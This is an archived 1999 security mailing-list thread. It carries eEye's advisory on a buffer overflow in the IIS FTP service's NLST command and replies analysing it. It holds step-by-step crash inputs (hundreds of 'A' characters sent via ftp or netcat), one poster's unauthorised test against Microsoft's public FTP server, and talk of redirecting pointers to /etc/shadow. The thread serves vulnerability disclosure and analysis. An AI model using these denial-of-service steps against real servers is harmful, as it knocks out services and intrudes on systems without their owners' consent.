Ftp Exploit In Dos

Date: Sun, 24 Jan 1999 07:56:09 -0800 From: Marc <[email protected]> To: [email protected] Subject: Advisory: IIS FTP Exploit/DoS Attack ________________________________________________________________________ eEye Digital Security Team <e> www.eEye.com [email protected] Sunday, January 24, 1999 ________________________________________________________________________ Advisory: IIS Remote FTP Exploit/DoS Attack Systems Tested: Windows NT 4.0 (SP4) IIS 3.0 / 4.0 Windows 95/98 PWS 1.0 Release Date: Sunday, January 24, 1999 Advisory Code: IISE01 ________________________________________________________________________ Description: ________________________________________________________________________ While feeding in logic into Retina's artificial intelligence engine, which helps construct query strings to pass to internet servers, checking for overflow bugs and miss parsing of command strings. Our test server stopped responding. Below is our findings. Microsoft IIS (Internet Information Server) FTP service contains a buffer overflow in the NLST command. This could be used to DoS a remote machine and in some cases execute code remotely. Lets look at the following example attack. [Comments are in brackets.] The server must either have anonymous access rights or an attacker must have an account. C:\>ftp guilt.xyz.com Connected to guilt.xyz.com. 220 GUILT Microsoft FTP Service (Version 4.0). User (marc.xyz.com:(none)): ftp 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 Anonymous user logged in. ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

200 PORT command successful. 150 Opening ASCII mode data connection for file list. [The server has now processed our long NLST request and has crashed] -> ftp: get :Connection reset by peer [Our ftp client looses connection... that is a given] The above example uses 316 characters to overflow. This is the smallest possible buffer to pass that will overflow IIS. Lets take a look at the server side happenings. On the server side we have an "Application Error" message for inetinfo.exe. "The instruction at '0x710f8aa2' referenced memory at '0x41414156'. The memory could not be 'read'." If we take a look at our registers we will see the following: EAX ECX ESI EIP EBP

= = = = =

0000005C 00D3F978 00D3F978 710F8AA2 00D3F9F0

EBX EDX EDI ESP EFL

= = = = =

00000001 002582DD 00000000 00D3F644 00000206

There is no 41 hex (Our overflow character) in any of our registers so we chalk this up as a DoS attack for now. Lets move on and take a look at the largest string we can pass to overflow IIS. C:\>ftp guilt.xyz.com Connected to guilt.xyz.com. 220 GUILT Microsoft FTP Service (Version 4.0). User (marc.xyz.com:(none)): ftp 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 Anonymous user logged in. [The server must either have anonymous access rights or an attacker must have an account] ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA 200 PORT command successful. 150 Opening ASCII mode data connection for file list. Connection closed by remote host. In this case we passed 505 characters to overflow IIS. This is the largest possible (tested) buffer to pass that will overflow IIS. Lets take a look once again at the server side. On the server we have the same "Application Error" message for

inetinfo.exe except this time "The instruction at '0x722c9262' referenced memory at "0x41414141'." This is looking mighty interesting. Lets look at our registers once again: EAX ECX ESI EIP EBP

= = = = =

00000000 41414141 41414141 722C9262 00D3F63C

EBX EDX EDI ESP EFL

= = = = =

41414141 722C1CAC 41414141 00D3F524 00000246

There sure are a lot of 41 hex codes in our registers now. >:-] So to wrap it all up what we have here is a DoS attack against any IIS server with ftp access. Keep in mind we have to be able to login. However, Anonymous access is granted on most servers. Once we have overflowed IIS all IIS services will fail. (I.E. The web service, NNTP, SMTP etc..) What we have seems to be a very interesting buffer overflow. ________________________________________________________________________ Special Thanks ________________________________________________________________________ The eEye Digital Security Team would like to extend a special thanks to Mudge and Dildog. ________________________________________________________________________ Copyright (c) 1999 eEye Digital Security Team ________________________________________________________________________ Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail [email protected] for permission. ________________________________________________________________________ Disclaimer: ________________________________________________________________________ The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Please send suggestions, updates, and comments to: [email protected] eEye Digital Security Team http://www.eEye.com [email protected] ________________________________________________________________________ Date: Mon, 25 Jan 1999 03:06:42 +0200

From: Cristian Ivan To: [email protected] Subject: Re: IIS FTP Exploit/DoS Attack Look what I've got after testing on ... ftp.microsoft.com :) ftp> o ftp.microsoft.com Connected to ftp.microsoft.com. 220 ftp Microsoft FTP Service (Version 3.0). User (ftp.microsoft.com:(none)): ftp 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230-This is FTP.MICROSOFT.COM 230-Please see the dirmap.txt file for 230-more information. An alternate 230-location for Windows NT Service 230-Packs is located at: 230-ftp://198.105.232.37/fixes/ 230 Anonymous user logged in. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for file list. bussys deskapps developr dirmap.htm dirmap.txt DISCLAIM.TXT disclaimer.txt HOMEMM.old KBHelp ls-lR.txt ls-lR.Z LS-LR.ZIP MSCorp peropsys PRODUCT.TBL Products Services Softlib solutions 226 Transfer complete. ftp: 204 bytes received in 0.05Seconds 4.08Kbytes/sec. ftp> quote nlst AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA AAAAAAAAAAAAAAAAAAA 150 Opening ASCII mode data connection for file list. ftp> ls 425 Can't open data connection. ftp> ls 200 PORT command successful. 200 PORT command successful. ftp> clos

150 Opening ASCII mode data connection for file list. ftp> ls Not connected. ftp> If instead of the "quote nlst AAA..." command with "ls AA.." .. voila : 230 Anonymous user logged in. ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA AAAAAAAAAAAAAAAAAAA 200 PORT command successful. 150 Opening ASCII mode data connection for file list. 550 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA AAAAAAAAAAAAAAA: The data area passed to a system call is too small. ftp> And everything is normal from here on... I've used the ftp command supplied with Windows98, who's not allowing me to type those 316 characters, "the smallest possible buffer to pass that will overflow IIS".:)

you

May the mail get in touch with cRIS

++++++++++++++++++++++++++++++++ +++++++++++888+88e+++888++dP"8++ ++e88'888++888+888D++888++C8b+Y+ +d888++'8++888+88"+++888+++Y8b++ +Y888+++,++888+b,++++888+b+Y8D++ ++"88,e8'++888+88b,++888++8edP++ ++++++++++++++++++++++++++++++++

eMAIL: [email protected] IRC: cRIS (UNDERNET) WEB: http://soon.to.come

"Learning to love yourself is the greatest love of all." * Whitney Houston ________________________________________________________________________ Date: Mon, 25 Jan 1999 00:51:59 -0500 From: Seth McGann <[email protected]> To: [email protected] Subject: Re: Advisory: IIS FTP Exploit/DoS Attack <Snip>

>On the server side we have an "Application Error" message for >inetinfo.exe. "The instruction at '0x710f8aa2' referenced memory at >'0x41414156'. The memory could not be 'read'." > >If we take a look at our registers we will see the following: > >EAX = 0000005C EBX = 00000001 >ECX = 00D3F978 EDX = 002582DD >ESI = 00D3F978 EDI = 00000000 >EIP = 710F8AA2 ESP = 00D3F644 >EBP = 00D3F9F0 EFL = 00000206 > >There is no 41 hex (Our overflow character) in any of our registers so >we chalk this up as a DoS attack for now. <Snip> >On the server we have the same "Application Error" message for >inetinfo.exe except this time "The instruction at '0x722c9262' >referenced memory at "0x41414141'." This is looking mighty interesting. >Lets look at our registers once again: > >EAX = 00000000 EBX = 41414141 >ECX = 41414141 EDX = 722C1CAC >ESI = 41414141 EDI = 41414141 >EIP = 722C9262 ESP = 00D3F524 >EBP = 00D3F63C EFL = 00000246 > >There sure are a lot of 41 hex codes in our registers now. >:-] > >So to wrap it all up what we have here is a DoS attack against any IIS >server with ftp access. Keep in mind we have to be able to login. >However, Anonymous access is granted on most servers. Once we have >overflowed IIS all IIS services will fail. (I.E. The web service, NNTP, >SMTP etc..) What we have seems to be a very interesting buffer overflow. Well, unless I missed something neither of these cases indicates an easily exploitable buffer overflow. In both cases EIP and EBP are left unmolested. While you may be able to do something by manipulating the other registers I highly doubt this case is exploitable. If for some reason the order of variables on the stack is changed (perhaps with a different compiler or optimization) you may very well get the extra reach you need. As it stands you dont have it here. For a good example of this situation try the following experiment using 'pico' the lovable text editor. On a linux box try: pico `perl -e 'print "a"x4000'` any version will do. You will be greeted with a segfault, on close inspection you will see the same situation here, corruption, but not enough corruption. Now, try out the same experiment on the same version of pico on an OpenBSD box. And you will be greeted with the rush of seeing execution jump to 0x41414141. Curious, eh? The more secure of the two operating systems is easily exploitable, yet the other is not. I did not look too closely at this, but its evident that the same code can be exploitable when built under different conditions. I suspect the same will be true of IIS, so you may get control of the processor with a specific revison but not another.

Seth M. McGann / [email protected] "Security is making it http://www.wpi.edu/~smm to the bathroom in time." KeyID: 2048/1024/E2501C80 Fingerprint 3344 DFA2 8E4A 977B 63A7 19E3 6AF7 4AE7 E250 1C80 ________________________________________________________________________ Date: Sun, 24 Jan 1999 19:42:16 -0800 From: Marc <[email protected]> To: [email protected] Subject: IIS Advisory Update I am still receiving eMails such as: >Not to burst anyones bubble, or Im doing it wrong, but in testing my ftp >server at my office which is an NT4.0 sp3, iis 4.0 box. I cant even put in >that many letters to make it crash.. Please understand that the above is a client side restriction.. The only valid eMail I have gotten, and has pretty much been proven so far, was from Mnemonix were he couldnt reproduce the overflow on NT 4 Server IIS4 (installed from NT 4 Option pack) with service Pack 3 - no hotfixes. He used telnet to establish the session to the FTP server and then issued the PORT command and had netcat listen on the port. He then tried the overflow and it did not work. This very well may be true because we did not test sp3. There seems to be some mixed findings... some I am not sure if the people eMailing me are doing it wrong and some could be configuration differences. Which ever the case its up to Microsoft to fix the problem. We do know positivily the following: NT + Option Pack Four (IIS4) + sp4 is exploitable NT + IIS3 + sp4 is exploitable PWS1.0 is exploitable. I am going to go pass out now. Signed, Marc eEye Digital Security Team www.eEye.com P.S. Some of the Unix ftp clients also malform the request so even though to the eye it looks like its sending the correct "ls (aaa...)" it doesnt send it correctly. Some goes for NT4.0's ftp.exe and a few others.

________________________________________________________________________ Date: Mon, 25 Jan 1999 17:39:49 -0500 From: Jon Larimer <[email protected]> To: [email protected] Subject: Re: [NTSEC] Advisory: IIS FTP Exploit/DoS Attack I was able to reproduce on an NT4/SP4 machine with IIS4 (from the NT4 option pack) using the following procedure: 1.) 2.) 3.) 4.)

Connect to port 21 of the target machine using netcat send: USER anonymous send: PASS root@ send: PORT w,x,y,z,122,105 where w,x,y,z is the IP address of the machine performing the attack. the 122,105 part means to connect to port 31337 on the attacking machine. 5.) In a different window or on another terminal use netcat to listen on the attacker's machine, port 31337. (nc -l -p 31337) 6.) send: NLST AAAAAAAA... (316 A's) 7.) Inetinfo.exe on the target machine should crash. You have to send a valid PORT command, and be listening on the port, for the service to crash. If you don't send a valid PORT command and listen for the connection, the FTP service will just disconnect you. -jon ===================================================================== Jon Larimer | Direct Dial: (678) 443-6159 Systems Engineer / ISS XForce Team | ISS Front Desk: (678) 443-6000 Internet Security Systems, Inc. | ISS Fax: (678) 443-6477 http://www.iss.net/ *Adaptive Network Security for the Enterprise* ===================================================================== ________________________________________________________________________ Date: Mon, 25 Jan 1999 17:05:31 -0700 From: Matt Conover <[email protected]> To: [email protected] Subject: Re: Advisory: IIS FTP Exploit/DoS Attack > >On the server we have the same "Application Error" message for > >inetinfo.exe except this time "The instruction at '0x722c9262' > >referenced memory at "0x41414141'." This is looking mighty interesting. That's because it overwrote a pointer (a bss overflow). > > > > > > >

>EAX = >ECX = >ESI = >EIP = >EBP = > >There

00000000 41414141 41414141 722C9262 00D3F63C

EBX EDX EDI ESP EFL

= = = = =

41414141 722C1CAC 41414141 00D3F524 00000246

sure are a lot of 41 hex codes in our registers now. >:-]

> > This is because it's overwriting data in the bss (where static poitners are stored), which is then being used as arguments in something like strcpy() or memcpy(). That fails because the pointer points to an invalid address. The reason I assume it's a static pointer is because it's not overwriting EIP. If it were on the stack overwriting the local pointer, it'd also be able to overwrite EIP. That's because local variables come below the return addresses on the stack and also have the capability to overflow the return address (unless the program restricts it). > >So to wrap it all up what we have here is a DoS attack against any IIS > >server with ftp access. Keep in mind we have to be able to login. > >However, Anonymous access is granted on most servers. Once we have > >overflowed IIS all IIS services will fail. (I.E. The web service, NNTP, > >SMTP etc..) What we have seems to be a very interesting buffer overflow. > > Well, unless I missed something neither of these cases indicates an easily > exploitable buffer overflow. Well, I think you both did. First, just because something doesn't overwrite EIP, doesn't mean it can't be exploited! Second, it proably _is_ an easily exploitable buffer overflow. You probably meant to say it's not an easily exploitable "stack-based overflow." That's correct, because it is not a stack-based overflow. See below. >

In both cases

EIP and EBP are left unmolested.

EIP and EBP are left unmolested because it's not a stack overflow; it's a bss overflow (specifically, it's overflowing a static buffer in the bss). If it were a stack overflow, the arrangement of the variables wouldn't have mattered (AFAIK). See my comments above. I explained how I can tell (well, why I assume) it's a static buffer overflow in the bss. Also, this can most likely be exploited fairly easy (as opposed to Seth's comments). I cover several exploitation methods in an article I'm going to post following this (look for "w00w00 on Heap Overflows"). Given that you were able to overwrite the pointer with an arbitrary value, you can also guess offsets into another buffer, that allows indirect exploitation (filename pointers are a great example of this). For example, with filename pointers, you could change the pointer from a valid string to your argv[1], which could contain "/etc/shadow". > If for some reason the order of variables on the stack is changed > (perhaps with a different compiler or optimization) you may very well > get the extra reach you need. As it stands you dont have it here. I'll bet this has nothing to do with stack overflows. > I suspect the same will be true of IIS, so you may get control of the > processor with a specific revison but not another. I doubt this is true.

I'm not sure why most people assume it's always a

stack overflow. In this situation, I think it's much more likely this is a heap/bss overflow. Anyway, after I send this off, I will send out an article w00w00 Security Development (WSD) and I have been working on for the last few weeks. Although it has a few more things that should be cleared up, and a few Look for the article, "w00w00 on Heap Overflows", today or tomorrow (it will be posted here and to comp.security.*). more case studies to add, this was an appropriate time to send it out. I will post a final draft/revision after I finish adding everything. Look for the article, "w00w00 on Heap Overflows", today or tomorrow (it will be posted here and to comp.security.*). I apologize for any errors in this post. ************************************************************************* ** Matt Conover <[email protected]> RSI R&D Team ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ RepSec, Inc. (RSI) [http://www.repsec.com] w00w00 Security Development (WSD) [http://www.w00w00.org] 'finger [email protected]' for pgp key and information

************************************************************************* **